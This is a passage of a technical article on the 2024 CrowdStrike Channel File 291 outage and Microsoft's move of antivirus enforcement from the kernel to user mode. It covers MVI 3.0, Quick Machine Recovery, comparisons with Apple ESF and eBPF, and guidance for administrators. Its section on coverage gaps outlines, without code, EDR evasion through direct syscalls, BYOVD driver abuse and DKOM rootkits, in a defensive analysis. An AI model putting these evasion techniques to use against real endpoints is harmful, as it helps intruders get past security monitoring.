CrowdStrike reverted the bad content cloud-side at 05:27 UTC, seventy-eight minutes after pushing it [@cs-pir-2024-07-24]. The revert achieved exactly the thing it was designed to achieve: no host that had not yet received the bad content would receive it. The revert achieved nothing for any host that had already received the bad content. The channel file was on disk. On reboot, the Falcon sensor reloaded it. The in-kernel Content Interpreter parsed it again. The host bug-checked again. The fix required either manual safe-mode deletion of C-00000291*.sys -- which became the canonical morning-of runbook circulated on every Windows admin forum -- or, later, Microsoft's purpose-built recovery tool [@mslearn-qmr, @insider-build-26120-4230]. The persistence-across-reboot pathology motivated the platform-level recovery primitive Microsoft would later ship as Quick Machine Recovery, which we will meet in section 6.

The bug is mundane. The kernel context is what made it catastrophic. Twenty-five years of architectural decisions placed a vendor-authored interpreter inside the kernel, plugged it into a cloud-driven content delivery pipeline, and shipped that combination to 8.5 million machines. On the morning of July 19, 2024, those decisions composed.

What the platform vendor -- Microsoft -- did about that composition is the subject of section 6.

6. The Microsoft Response: WESES, WRI, MVI 3.0

Twenty days after a Congressional witness from CrowdStrike apologized on the record [@cyberscoop-meyers, @govinfo-chrg-118hhrg60030, @meyers-testimony, @homeland-hearing-page], Microsoft did what twenty years of lobbying could not produce: it convened the named Microsoft Virus Initiative partners in Redmond and announced that "additional security capabilities outside of kernel mode" was now a stated platform direction [@weston-2024-09-12]. From that meeting forward, the trajectory of third-party endpoint security on Windows pointed in only one direction.

September 10, 2024: the WESES summit

On September 10, 2024, Microsoft hosted the WESES summit -- the Windows Endpoint Security partner gathering, often abbreviated WESES in trade press -- at its Redmond campus. The attendees included CrowdStrike, Sophos, ESET, SentinelOne, Trend Micro, and Bitdefender, plus U.S. and European government officials [@weston-2024-09-12]. David Weston, Microsoft's vice president for enterprise and operating system security, recapped the summit in a Windows Experience Blog post on September 12, 2024 -- two days later -- and made two specific commitments on Microsoft's behalf. First, Microsoft committed publicly to Safe Deployment Practices as a shared cross-vendor norm. Second, Microsoft committed to "additional security capabilities outside of kernel mode" as a platform direction [@weston-2024-09-12]. No new branded platform yet, no GA date, no API surface. But the political commitment was, for the first time on the public record, an architectural one.

A Microsoft program documenting the requirements third-party antivirus and endpoint security vendors must meet to ship products that integrate with Windows -- including Security Center registration, ELAM (Early-Launch Anti-Malware) participation, and Defender exclusion negotiation [@mslearn-mvi]. MVI is the contractual surface Microsoft uses to require Windows AV vendors to engineer in particular ways; updates to MVI requirements have been the principal lever for the post-Channel-File-291 reforms.

November 19, 2024: Microsoft Ignite, and the Windows Resiliency Initiative

Two months later, at Microsoft Ignite on November 19, 2024, Weston announced the program by name: the Windows Resiliency Initiative, four pillars (reliability including Quick Machine Recovery, fewer administrator-privileged apps, stronger app and driver allow-lists, and identity hardening), and a verbatim commitment that "a private preview will be made available for our security product [partner cohort] in July 2025" [@ms-ignite-2024-11-19]. The "private preview" referred to a new set of user-mode EDR APIs that Microsoft would deliver to a small named cohort of MVI partners. The Ignite post is also the first source to introduce Quick Machine Recovery publicly -- the post-outage recovery primitive engineered specifically to address the on-disk-persistence pathology that Channel File 291 had exposed [@ms-ignite-2024-11-19].

Microsoft's descriptive phrase, used consistently in Weston's June 26, 2025 blog and the November 18, 2025 Windows Experience Blog post, for the new user-mode API surface that lets third-party EDR products subscribe to kernel-curated security telemetry without loading their own kernel driver [@weston-2025-06-26, @ms-nov-2025]. Microsoft has not, as of mid-2026, branded this as a single trademarked proper noun; trade-press shorthand like "WESP" should be treated as commentary, not as a Microsoft product name.

Note: You will see "WESP" -- Windows Endpoint Security Platform, capitalized -- in trade-press coverage and conference talks. As of mid-2026 it is not a Microsoft brand. Microsoft's own primary-source language is the descriptive phrase "the Windows endpoint security platform" (lowercase, no acronym) [@weston-2025-06-26, @ms-nov-2025]. This article uses the Microsoft phrasing throughout.

June 26, 2025: the WRI detailed rollout and MVI 3.0

The most consequential single document in the entire WRI story is Weston's June 26, 2025 Windows Experience Blog post [@weston-2025-06-26]. The post commits, verbatim, that "Next month, we will deliver a private preview of the Windows endpoint security platform to a set of MVI partners... security products like anti-virus and endpoint protection solutions can run in user mode just as apps do" [@weston-2025-06-26]. That second clause is the architectural commitment in one sentence: third-party EDR on Windows runs in user mode, like every other application on Windows.

The same June 26 post names the MVI partner cohort by company -- Bitdefender, CrowdStrike, ESET, SentinelOne, Sophos, Trellix, Trend Micro, and WithSecure -- and embeds on-record statements from five of them (CrowdStrike, ESET, SentinelOne, Sophos, Trellix, and Trend Micro and WithSecure also published quotes) endorsing the migration [@weston-2025-06-26]. The post lays out the requirements of MVI 3.0: Safe Deployment Practices, deployment rings, monitored rollouts, and incident-response testing [@mslearn-mvi]. The November 18, 2025 Windows Experience Blog later established the MVI 3.0 effective date as April 1, 2025 [@ms-nov-2025].

MVI 3.0 requirement	What it mechanically requires	What it does not mechanically verify
Safe Deployment Practices	Vendor publishes a documented deployment process for sensor and content updates	That the published process is correctly enforced in the vendor's release pipeline
Deployment rings	Vendor segments customers into staged rollout cohorts (e.g., internal, canary, GA)	That ring promotion gates actually halt a rollout when a stop-signal fires
Monitored rollouts	Vendor monitors signal data during each ring transition	That the monitoring catches a Channel-File-291-class latent bug
Incident-response testing	Vendor runs scheduled incident-response drills against its own rollout pipeline	That drill outcomes generalize to a novel failure mode never tested

The cohort of named MVI 3.0 partners is the same cohort Apple's Endpoint Security framework migration targeted in 2019. The overlap is not coincidence -- the same companies sell EDR on both platforms, and the same companies are now multi-OS migrating onto the same architecture (user-mode, platform-curated telemetry). The trade press has yet to fully appreciate that the WRI is not a Microsoft-specific architecture choice; it is the second platform vendor making the same choice.

The Ionescu pivot

The single most consequential individual move in the entire two-year story is dated April 3, 2025: CrowdStrike named Alex Ionescu -- co-author of the Windows Internals book series, long-time Windows kernel researcher, and former CrowdStrike employee returning to the company -- as Chief Technology Innovation Officer with an explicit charter to "lead CrowdStrike's participation in the Microsoft Virus Initiative Program (MVI 3.0), working with Microsoft to advise on the implementation of the next-generation vendor security stack for Windows" [@cs-ionescu-ctio-2025-04-03]. Ionescu then published an on-record endorsement of Microsoft's user-mode EDR architecture in Microsoft's own June 26, 2025 Windows Experience Blog post [@weston-2025-06-26].

Key idea: The foremost public Windows kernel researcher in the industry, now CTIO of the company whose kernel driver brought down 8.5 million Windows hosts, is on the record endorsing Microsoft's eviction of vendor kernel-mode antivirus. That is the political signal July 19, 2024 produced, and it is structurally unlike anything that preceded the outage. In 2006, the vendors fought; in 2025, the foremost vendor kernel expert is helping Microsoft build the replacement.

November 18, 2025: the update and the graphics-driver exemption

The most recent Microsoft primary-source document in this article is the November 18, 2025 Windows Experience Blog post [@ms-nov-2025]. Three points in that post matter for the rest of this article. First, "effective April 1, 2025, Version 3.0 of the Microsoft Virus Initiative added new requirements for all Windows antivirus (AV) partners" -- this sets the formal effective date of MVI 3.0 [@ms-nov-2025]. Second, "in June, we released the first private preview of the Windows endpoint security platform, which shifts AV enforcement from the kernel to user mode" -- the framing is AV enforcement generally, not third-party AV enforcement specifically, which by plain reading commits Defender for Endpoint to the same architectural trajectory as the third-party MVI 3.0 cohort [@ms-nov-2025]. Third, the graphics-driver exemption: "graphics drivers, for example, will continue to run in kernel mode for performance reasons" [@ms-nov-2025]. That single concession draws the scope of the WRI cleanly: it is an AV enforcement migration, not a third-party kernel driver elimination program.

Quick Machine Recovery

One more piece of the response deserves explicit mention: Quick Machine Recovery (QMR), the platform-level recovery primitive Microsoft built specifically in response to the on-disk persistence pathology of Channel File 291. QMR is a remote-remediation flow, managed via the Configuration Service Provider model and surfaced as the RemoteRemediation CSP, that can boot a failing Windows host into a recovery environment and apply targeted fixes without manual safe-mode intervention by an administrator [@mslearn-qmr]. The capability first appeared in Windows Insider builds beginning with Build 26120.4230 on June 2, 2025 [@insider-build-26120-4230]. QMR does not, on its own, prevent another Channel-File-291-class event; it makes the recovery from one orders of magnitude cheaper.

flowchart LR A["2024-07-19 Channel File 291 outage, 8.5M hosts"] --> B["2024-07-27 Microsoft secblog publishes WinDBG dump"] B --> C["2024-09-10 WESES summit at Redmond"] C --> D["2024-09-24 House Homeland Security hearing"] D --> E["2024-11-19 Ignite, WRI announced by name"] E --> F["2025-04-01 MVI 3.0 effective"] F --> G["2025-04-03 Ionescu CTIO at CrowdStrike"] G --> H["2025-06-26 WRI detailed rollout, partner cohort"] H --> I["2025-07 private preview to MVI 3.0 partners"] I --> J["2025-11-18 AV enforcement shifts to user mode"]

The U.S.-government context is worth one paragraph of framing. The Government Accountability Office's GAO-24-107733, the Congressional Research Service's IF12717 brief, the House Homeland Security Subcommittee hearing on September 24, 2024, the CISA running alert, and the contemporaneous CyberScoop coverage all converge on the same posture: the July 19 outage was a supply-chain and Safe-Deployment-Practices event, not a cyberattack [@gao-24-107733, @crs-if12717-everycrsreport, @homeland-hearing-page, @govinfo-chrg-118hhrg60030, @meyers-testimony, @cisa-alert-2024-07-19, @cyberscoop-meyers]. The federal response shaped the political environment in which Microsoft chose to announce the WRI; it did not, by itself, design the architecture. The architecture Microsoft picked had been hiding in plain sight for years on two other operating systems, which is the subject of section 7.

7. Apple ESF, Linux eBPF, and the Comparative Architecture

Microsoft did not invent the architecture it is shipping. Two other major operating systems had already picked a different answer years earlier, in opposite directions, and Microsoft's own platform team had been quietly experimenting with both for years before committing to one in public. The comparative-architecture frame matters because it tells us what is genuinely novel about the WRI (very little) and what is genuinely novel about the political moment (almost everything).

Apple Endpoint Security framework, October 7, 2019

On October 7, 2019, with the release of macOS 10.15 Catalina, Apple deprecated third-party kernel extensions for security tools and replaced them with the Endpoint Security framework, a user-space API for authorization (ES_EVENT_TYPE_AUTH_*) and notification (ES_EVENT_TYPE_NOTIFY_*) events fired by the macOS kernel and consumed by Apple-signed user-mode system extensions written by third-party vendors [@apple-esf-docs].

Apple's user-space-only API for security tools, introduced with macOS Catalina (10.15) in October 2019 [@apple-esf-docs]. ESF clients run as system extensions in user mode, subscribe to authorization and notification events emitted by the macOS kernel (process creation, file open, network connect, etc.), and may return `ES_AUTH_RESULT_DENY` to block authorization events synchronously. There is no third-party kernel code path; the kernel signals the user-space client, and the user-space client decides.

What makes ESF the cleanest reference point for the WRI is that ESF is the architecture Microsoft is now shipping under a different label. Both are platform-curated user-mode subscription APIs. Both eliminate third-party kernel drivers from the AV path. Both retain a synchronous authorization gate that lets the vendor's user-mode code answer "allow or deny" before the operating system completes the operation.

The September 2024 Sequoia bug -- the natural experiment we met in section 4 -- is the cleanest available test of whether the ESF architecture contains the blast radius of a 1st-party platform regression. CrowdStrike Falcon for macOS, ESET Endpoint Security, Microsoft Defender for Mac, and SentinelOne all lost network filtering when macOS 15 deprecated the Application Firewall property-list interface [@bleepingcomputer-sequoia, @securityweek-sequoia]. None of them brought down macOS. The hosts kept running. Apple shipped 15.0.1 three weeks later [@techcrunch-sequoia]. The Sequoia outage tested the architecture and the architecture held: feature regression, yes; kernel panic at fleet scale, no.

Linux eBPF, and eBPF for Windows

The Linux answer to the same question is in a different direction entirely. Linux does not move EDR out of kernel mode; it keeps EDR in kernel mode and proves the in-kernel code safe before executing it. The technology is extended Berkeley Packet Filter (eBPF), a kernel-resident bytecode virtual machine that runs vendor-supplied probes attached to kernel hook points, with a static verifier that rejects any program whose memory accesses, control flow, or loop bounds cannot be proven safe at load time [@lwn-bounded-loops].

A Linux kernel subsystem that runs vendor-supplied bytecode programs in kernel context, gated by a static verifier that rejects programs whose memory accesses or control flow cannot be proven safe at load time. eBPF programs attach to hook points (syscall enter/exit, file system events, network packets, tracepoints) and emit data to user space via ring buffers and maps. The Linux EDR industry (Cilium, Tetragon, Falco) is built on eBPF [@lwn-bounded-loops].

The eBPF verifier is non-trivial. Jonathan Corbet's June 2019 LWN article "BPF and bounded loops" describes the Linux 5.3 extension that lifted the original verifier's strict no-loops restriction, permitting bounded loops with statically-determinable trip counts -- enough to write nontrivial in-kernel programs without sacrificing the verifier's termination guarantee [@lwn-bounded-loops]. Every major Linux EDR product in 2026 ships an eBPF probe set as its primary collection substrate.

Microsoft has eBPF for Windows. Microsoft has had eBPF for Windows publicly on GitHub since May 2021, ported the PREVAIL verifier as its formal foundation, and continues to develop the project at the same repository [@msft-ebpf-windows, @ebpf-windows-commits].PREVAIL is the academic verifier whose formal soundness arguments are the foundation of eBPF for Windows. Its design takes the same general approach as the Linux verifier -- abstract interpretation over the bytecode's control flow graph -- and shipped as the open-source verifier Microsoft adopted for the Windows port. Microsoft has shipped eBPF for Windows for networking-centric use cases (XDP-style packet filtering); EDR has not been the primary published use case [@msft-ebpf-windows]. What Microsoft has not done is make eBPF for Windows the substrate of the WRI's third-party EDR architecture. The WRI commits to the Apple-style "exit the kernel" answer, not the Linux-style "stay in the kernel but verifier-bounded" answer.

The three architectural answers

There are exactly three serious architectural answers to the question of where the third-party security observer runs.

Exit the kernel: subscribe from user mode against a platform-curated broker. Apple ESF since 2019; Windows endpoint security platform since the July 2025 private preview.
Stay in the kernel, but only as a verifier-bounded extension. Linux eBPF; eBPF for Windows since 2021.
Operate from below the kernel, in the hypervisor. The Garfinkel and Rosenblum NDSS 2003 origin paper on virtual machine introspection [@wiki-vmi], the Xen Project's VMI APIs [@xen-vmi], Bitdefender's Hypervisor Introspection product shipped commercially in 2016 [@xen-vmi], and Microsoft's own in-platform Virtualization-Based Security (VBS), Hypervisor-protected Code Integrity (HVCI), and Secure Kernel features [@mslearn-hvci].

flowchart TD Q["Where does the third-party security observer run?"] Q --> A1["1. User mode, subscribing via platform broker"] Q --> A2["2. Kernel mode, verifier-bounded extension"] Q --> A3["3. Hypervisor, below the guest kernel"] A1 --> A1a["Apple ESF, since 2019"] A1 --> A1b["Windows endpoint security platform, since 2025"] A2 --> A2a["Linux eBPF"] A2 --> A2b["eBPF for Windows, since 2021"] A3 --> A3a["Bitdefender Hypervisor Introspection, 2016"] A3 --> A3b["Microsoft VBS, HVCI, Secure Kernel"]

Why Microsoft picked (1) over (2)

This is one of the article's most interesting decisions, and the public reasoning is mostly implicit. The eBPF answer (2) would have required every EDR vendor to rewrite on a substrate they had no muscle memory for. The Linux EDR industry took roughly five years to converge on eBPF as its dominant collection mechanism, and Windows EDR vendors have invested in a different abstraction (kernel callbacks plus minifilters) for twenty-five years. A migration to eBPF for Windows would have meant a multi-year vendor-side rewrite to a verifier whose published EDR-attach-point coverage in mid-2026 was incomplete [@msft-ebpf-windows].

The Apple-style answer (1), by contrast, lets vendors keep most of their detection logic where it already runs -- in user-mode sensor processes -- and only replaces the Ring-0 collection substrate with a platform broker. The migration is incremental rather than ground-up. And answer (1) carries a second structural advantage: even a perfect eBPF verifier still leaves vendor bytecode running inside the kernel, where a content-validator failure can still produce a runtime fault under a verifier that proved safety at load time. Answer (1) makes the question unaskable by construction: there is no third-party kernel code path, so a third-party content-validator failure cannot crash the kernel.

Microsoft made a comparative-architecture bet. The bet has a known cost: things a kernel-mode observer can see that a user-mode observer cannot. What exactly does the user-mode EDR lose? That is section 8.

8. What User-Mode EDR Cannot See

Every architectural choice closes some doors. The user-mode EDR architecture closes the door on Channel-File-291-class reliability incidents -- by construction, a vendor-authored data file consumed by a vendor-authored user-mode process can crash the vendor process, not the host. The same architecture, on its own, opens three coverage doors a kernel-callback EDR closed. This section enumerates them honestly.

Gap 1: direct syscall observation

A malicious user-mode process can issue x86-64 syscall instructions directly, bypassing ntdll.dll's exported stubs and therefore bypassing any user-mode hook layer that depends on patching those stubs [@mdsec-direct-syscall]. MDSec's December 2020 write-up "Bypassing user-mode hooks and direct invocation of system calls for red teams" documented the technique in operational detail: an attacker recovers the syscall numbers from a clean copy of ntdll, emits the syscall instruction inline in their own payload, and the operating system services the syscall without ever touching the hook layer the EDR vendor injected into ntdll [@mdsec-direct-syscall]. A user-mode EDR sees only what the platform broker tells it. For the broker to maintain coverage of direct-syscall payloads, the broker itself must be wired into the syscall dispatch path -- the place inside nt!KiSystemServiceCopyArgs where the kernel dispatches user-mode syscalls -- and emit telemetry for every syscall, not only those that arrive via the ntdll stubs.

Microsoft has stated this architecture is in scope but has not published the wire-format detail of the syscall broker as of mid-2026. The honest reading: Microsoft owns this gap, it knows it owns this gap, the EDR partners know Microsoft owns this gap, but the specific shape of the broker's syscall-path integration has not been publicly documented. Treat any third-party claim about the broker's syscall-path wire format as speculation.

Gap 2: rootkit visibility, and the hypervisor answer

A kernel-mode rootkit -- loaded via a Bring-Your-Own-Vulnerable-Driver attack against a signed-but-vulnerable third-party driver -- can hide processes, files, registry keys, and network state from any user-mode observer. The platform broker will emit whatever the kernel sees about the system state; if the rootkit lies to the kernel via DKOM, the broker will faithfully emit the lie.

An attack technique in which a malicious user-mode payload loads a signed, legitimately-issued kernel driver that has a known unfixed vulnerability, then exploits the driver's vulnerability to gain Ring-0 code execution. Because the driver is legitimately signed, neither Windows driver-signing enforcement nor most heuristic load-time defenses block the initial driver load; the attacker gets kernel privilege via a third-party driver they did not have to author or sign themselves.

Microsoft's stated answer for the rootkit-visibility gap is to layer a generation of hypervisor-assisted memory introspection below the user-mode EDR. Bitdefender shipped the first commercial Hypervisor Introspection product in 2016 on top of Xen [@xen-vmi]. Academic work has continued: The Reversing Machine (Karvandi et al., May 2024, arXiv:2405.00298) describes a contemporary research-grade implementation using Intel Mode-Based Execution Control to intercept user-kernel mode transitions and a suspended-process-creation technique to attach hypervisor-based introspection to running guests transparently [@trm-arxiv-2405-00298].

Microsoft's family of in-platform virtualization-based security primitives. *Virtualization-Based Security (VBS)* runs a Hyper-V-derived hypervisor below the Windows kernel, creating two virtual trust levels (VTL0 for the normal kernel, VTL1 for the Secure Kernel). *Hypervisor-protected Code Integrity (HVCI)* enforces that kernel-mode pages are either writable or executable but never both, and that only signed code can be loaded into kernel mode; the enforcement runs in the Secure Kernel and cannot be subverted from VTL0 [@mslearn-hvci].

The Microsoft-side equivalent of the Bitdefender HVI architecture is the family of platform features documented under VBS, HVCI, and the Secure Kernel [@mslearn-hvci]. The Secure Kernel is, architecturally, exactly the vantage from which a hypervisor can read guest memory authoritatively and answer questions about kernel state that the guest kernel itself cannot be trusted to answer correctly. Whether the Windows endpoint security platform's broker will surface that authoritative read to third-party EDR partners -- and through what API -- is part of the not-yet-public detail of the platform.

Gap 3: tamper resistance of the EDR process itself

A user-mode EDR is a user-mode process. Malware that obtains SeDebugPrivilege -- usually by abusing a misconfigured service account or a credential-stealing exploit -- can in principle suspend or terminate the EDR process. The Windows mitigation for this class of attack is Protected Process Light (PPL), the same mechanism Microsoft uses to harden MsMpEng.exe (the Microsoft Defender Antimalware Service) against tampering by anything short of a kernel-mode attacker. Whether the Windows endpoint security platform's user-mode EDR processes will get PPL by default in the private preview, and whether they will get a stronger Protected Process classification, is not documented in any primary source as of mid-2026.

The BYOVD coverage question, with a dated negative finding

The CISA Eviction Strategies Tool countermeasure CM0058 names the four enforcement substrates that activate Microsoft's Vulnerable Driver Block List: "Microsoft's vulnerable driver blocklist is a native utility for Windows 11 2022 and above that receives updates 1-2 times per year... enforced when Hypervisor-protected coded integrity or HVCI, Smart App Control, or S mode is active" [@cisa-cm0058, @mslearn-driver-block-rules]. The block list itself is a Microsoft-maintained allow-list of non-allowed kernel drivers -- specifically, the signed-but-vulnerable drivers known to be abused for BYOVD attacks.

Note: Neither CISA's CM0058 page nor any Microsoft public document publishes aggregate telemetry on what fraction of Windows enterprise endpoints have any of the four enforcement substrates (HVCI, Smart App Control, S Mode, or App Control for Business) active in mid-2026 [@cisa-cm0058]. Microsoft Defender for Endpoint surfaces per-tenant Memory Integrity enablement recommendations; Microsoft has not aggregated those recommendations into a fleet-level statistic. The BYOVD enforcement coverage gap is known qualitatively (the block list exists; enforcement is opt-in via four substrates; updates are infrequent) but cannot be quantified from public evidence.

The kernel attack surface that nothing in user mode can observe

Below all of this -- below user-mode EDR, below kernel-mode EDR, below the Secure Kernel -- lies the genuine bottom of the stack: bootkits, System Management Mode resident malware, firmware implants, and pre-boot attacks that compromise the host before any antivirus product has loaded. No user-mode EDR can meaningfully observe any of this. No kernel-mode EDR can fully observe any of this either. The platform answers are Secured-core PC, Microsoft Pluton, and Measured Boot -- platform-curated, Microsoft-owned, hardware-rooted defenses that the third-party industry does not write code inside of. The WRI does not close the firmware gap; it delegates the firmware gap to Microsoft platform features. That delegation is exactly what Microsoft has always wanted (the platform owns the security boundary) and exactly what vendors have always resisted (the platform owns the security boundary). July 19, 2024 is the day vendors stopped publicly resisting.

The coverage matrix

The coverage tradeoffs in one table. Cells mark the architecture's native ability to observe each visibility primitive: full coverage, partial coverage, or none.

Visibility primitive	Kernel-callback EDR	User-mode EDR + broker	Hypervisor introspection	Microsoft platform features
Direct syscall (no `ntdll` stub)	full (via syscall path hooks)	partial (depends on broker wire format)	full (from VTL1)	full (by construction)
Rootkit visibility (DKOM)	partial (rootkit can subvert peer-driver views)	none (broker reflects kernel-reported state)	full (authoritative memory read)	full (via Secure Kernel)
Tamper resistance of the EDR process	partial (kernel access lets attacker disable peer driver)	partial (PPL needed)	full (out of band)	full (Defender uses PPL today)
BYOVD detection	partial (post-load only)	none (vendor cannot reload kernel)	partial (post-load, via VTL1 inspection)	full (Vulnerable Driver Block List + HVCI, where enabled)
Bootkit, SMM, firmware visibility	none	none	partial (pre-OS attestation only)	full (Secured-core PC, Pluton, Measured Boot)

Key idea: The user-mode EDR architecture closes the reliability problem (a Channel-File-291-class bug crashes a user-mode process, not the kernel). It does not, on its own, close the coverage problem. The coverage problem is being delegated from vendor EDR to Microsoft platform features -- to the Vulnerable Driver Block List, to HVCI, to the Secure Kernel, to Pluton, to Defender's baseline detection coverage. Whether that delegation reaches Method-A coverage equivalence is the open architectural question of mid-2026, and the honest answer is "we do not yet know."

What else is genuinely open? That is section 9.

9. What Is Still Open in mid-2026

What does the honest answer look like, twenty-three months after the outage and twelve months after the WRI's detailed rollout? Several dated negative findings and one positive finding, and the right epistemic posture for reading them is the same posture security engineers should bring to any architectural transition in flight: the absence of an announcement is its own evidence.

Has Microsoft committed to a date by which third-party AV kernel drivers will be forbidden?

No primary source uses the words "ban" or "deadline" or any equivalent hard-stop phrasing. The November 18, 2025 Microsoft Windows Experience Blog frames the program as an enforcement migration -- "shifts AV enforcement from the kernel to user mode" -- and the June 26, 2025 Weston post commits to the private preview as a step in a partner-coordinated journey, not as the first of two phases ending in a third-party kernel-driver lockout [@ms-nov-2025, @weston-2025-06-26]. The article describes the transition as multi-year, partner-coordinated, and without a published hard deadline as of mid-2026. Anyone telling you Microsoft has committed to a date is reading something into the public record that the public record does not contain.

Will the WRI user-mode EDR APIs reach feature equivalence with today's kernel-callback EDR?

The on-record partner statements quoted in the June 26, 2025 blog use hedging language: "continue to provide feedback," "no degradation in security or performance," and similar [@weston-2025-06-26]. That phrasing is not a claim of equivalence achieved; it is a claim of commitment to work toward equivalence. The strongest evidence equivalence is reachable is Apple's seven-year ESF deployment: by 2026, every major Windows-side EDR vendor also ships a macOS-side ESF-based product, and the macOS-side product is broadly considered competitive in detection coverage with peer kernel-based products on other platforms. The Windows answer for mid-2026 is empirically unknown -- the API surface is in active evolution, and the partner cohort is still inside the private preview.

Has any MVI 3.0 deployment ring actually halted a vendor content update since June 26, 2025?

This is the most important operational question and the one with the most honest negative answer. No public primary source documents either a ring stop-gate event (an MVI 3.0 partner caught a latent Channel-File-291-class bug at a canary ring and halted the rollout before fleet propagation) or a ring-escape incident (a latent bug got through the rings and produced a fleet event) from any of the eight named MVI 3.0 partners through the most recent search horizon. The SentinelOne May 29, 2025 cloud control-plane outage [@sentinelone-may-29-rca] is structurally orthogonal to the failure mode the rings are designed to catch -- per SentinelOne's own RCA, "a software flaw in an outgoing infrastructure control system triggered an automatic function that removed critical network routes" and "customer endpoints remained protected" throughout -- so it does not stress-test the rings. The honest framing has two competing readings: the rings are working silently, or the rings have not yet been stress-tested by a Channel-File-291-class latent bug in any partner's content pipeline. Neither reading can be discriminated from current public evidence.The SentinelOne May 29, 2025 event is the closest post-WRI partner-side reliability incident on the public record, and it is worth a paragraph of distinction. The failure was a cloud control-plane network-routes deletion that knocked SentinelOne's customer-facing management console offline; per the company's own RCA, customer endpoints remained protected throughout, federal environments were not impacted, and no endpoint content update was involved [@sentinelone-may-29-rca]. The event is exactly the kind of reliability incident the MVI 3.0 rings are not designed to catch -- the rings address Safe Deployment Practices for sensor and content updates, not cloud control-plane reliability.

Will Microsoft hold itself to the same kernel-out standard as MVI partners?

The November 18, 2025 Microsoft Windows Experience Blog uses the framing "AV enforcement" (not "third-party AV enforcement") -- by plain reading this commits Microsoft Defender for Endpoint to the same trajectory as the third-party MVI 3.0 cohort [@ms-nov-2025]. The article notes this as the closest available public Defender-kernel-out signal, while being honest that no Defender-specific GA date for the user-mode migration has been published. The same November 18 post explicitly carves out the graphics-driver exemption [@ms-nov-2025] -- which by plain reading means that non-AV third-party kernel drivers will continue to ship under the existing model. The WRI is, narrowly, an AV-enforcement migration.

In June, we released the first private preview of the Windows endpoint security platform, which shifts AV enforcement from the kernel to user mode... Graphics drivers, for example, will continue to run in kernel mode for performance reasons. -- Microsoft Windows Experience Blog, November 18, 2025 [@ms-nov-2025]

Note: The MVI 3.0 ring question -- has any partner actually halted a rollout at a ring boundary since June 26, 2025? -- admits two readings from current evidence. Reading one: the rings are working silently, catching latent bugs that never become public, because the entire point of a working ring is that nothing happens. Reading two: the rings have not yet been stress-tested by a Channel-File-291-class latent bug at any partner. Both readings are consistent with the dated negative finding "no public stop-gate event has been documented." Anyone telling you they know which reading is right is overclaiming. The right epistemic posture is to keep watching, and to read partner-side RCAs as they appear.

What fraction of enterprise Windows endpoints enforces the Vulnerable Driver Block List?

The CISA CM0058 page is the canonical document and it publishes no enablement telemetry [@cisa-cm0058]. Microsoft's own documentation for the block list publishes update cadence (one to two times per year) and a per-substrate description of where the block list activates (HVCI, Smart App Control, S Mode, or App Control for Business) but no aggregate fleet-level enablement statistic [@mslearn-driver-block-rules, @cisa-cm0058]. Microsoft Defender for Endpoint surfaces per-tenant Memory Integrity enablement recommendations but does not aggregate. The BYOVD enforcement gap is known qualitatively and cannot be quantified from public evidence as of mid-2026. Anyone publishing a percentage figure for HVCI enablement across the global Windows enterprise fleet is publishing a guess.

These are five open questions with five honest answers. The reader leaves section 9 knowing not the answers, but the shape of the questions -- which is the right epistemic state in which to read the practical guide that follows. What should you do, mid-2026, with this knowledge? That is section 10.

10. Practical Guide for mid-2026

Three audiences, three different sets of next moves. The article has been writing for these three audiences since the first paragraph -- the Windows enterprise administrator, the security-product architect, and the incident responder -- and each gets a short, concrete checklist that respects the open architectural questions of section 9.

For the Windows enterprise administrator

Treat your antivirus and EDR vendor's update cadence as part of your fleet's blast radius. The cadence of vendor content updates is, in mid-2026, the operational variable most likely to produce your next mass-availability incident. Ask your vendor for their MVI 3.0 documentation and verify they are running staged deployment rings rather than gating only at a single global GA promote [@mslearn-mvi, @weston-2025-06-26].
Enable Quick Machine Recovery on Windows 11 24H2 and later [@mslearn-qmr]. QMR is the platform-level recovery primitive Microsoft built specifically for Channel-File-291-style on-disk persistence pathology, and it materially reduces recovery time for any future event that produces unbootable hosts at scale [@insider-build-26120-4230].
Enable HVCI / Memory Integrity wherever your hardware supports it [@mslearn-hvci]. HVCI is one of the four substrates that activates Microsoft's Vulnerable Driver Block List, and enabling it brings the BYOVD blocklist from a published-but-inert resource to an enforced runtime control on your endpoints [@mslearn-driver-block-rules, @cisa-cm0058].
If your fleet still depends on a kernel-only AV stack, push your vendor for their Method-C (user-mode) roadmap commitments. The MVI 3.0 partner cohort named in Weston's June 26, 2025 post is the right reference list: vendors not on it have not made a public commitment of equivalent specificity, and that should affect your procurement calculus [@weston-2025-06-26].
Audit your Defender exclusion list. The principle of least privilege applies to your AV configuration just as much as to your user accounts -- every exclusion is a path past your detection coverage, and Defender exclusions inherited from 2018 deployments are a routine finding in modern enterprise audits.

For the security-product architect

Apply for MVI 3.0 partnership and request access to the Windows endpoint security platform private preview now [@mslearn-mvi]. The API surface is in active evolution and partner feedback is materially shaping the contract. Vendors who wait for GA will inherit a contract written by competitors.
Plan a migration roadmap from kernel callbacks (Method A) to user-mode subscription (Method C). Assume Method A remains the bridge for several more years and that a hybrid Method-A-plus-Method-C deployment will be your production reality through at least the late 2020s. Engineer for Method C as the future-primary substrate while Method A continues to carry production detection coverage.
Engineer your content delivery pipeline as if the platform will eventually require ring-based staged deployment under contractual gating. The MVI 3.0 deployment-ring requirements are the model: internal ring, canary ring, GA ring, with monitored promotion gates between each [@weston-2025-06-26]. Build the pipeline now even if the contractual requirement does not yet bind you, because the alternative is rebuilding it under emergency pressure later.
For BYOVD coverage and rootkit visibility you cannot get from user mode, design around platform features rather than rebuilding them yourself. The Vulnerable Driver Block List, HVCI, Secured-core PC, Pluton, and Defender's baseline are platform-curated controls; layer your detection coverage on top of them rather than parallel to them [@mslearn-driver-block-rules, @mslearn-hvci, @cisa-cm0058].
Treat the Apple ESF deployment as your reference implementation. Your macOS-side ESF migration -- which most major Windows EDR vendors completed between 2019 and 2024 -- is the closest analogue to the Windows-side migration you are now starting. The architectural lessons transfer; do not repeat the early-ESF mistakes on the Windows side.

For the incident responder

The on-disk artifacts from the July 19 outage -- C-00000291*.sys channel files, the minidumps with csagent.sys+0x... frames -- are the canonical reference set for "vendor-content-update-bug-checks-kernel-driver" investigations [@ms-secblog-2024-07-27]. Treat any future "vendor module + nt!KiPageFault + unmapped address" stack as structurally analogous and apply the same runbook posture.
The next analogous incident will look the same in the dumps. The faulting module name will be different; the offset will be different; the unmapped address will be different. The pattern -- vendor kernel module, page fault from nt!KiPageFault, unmapped read address in the high half of the canonical address space, PAGE_FAULT_IN_NONPAGED_AREA -- will be identical.
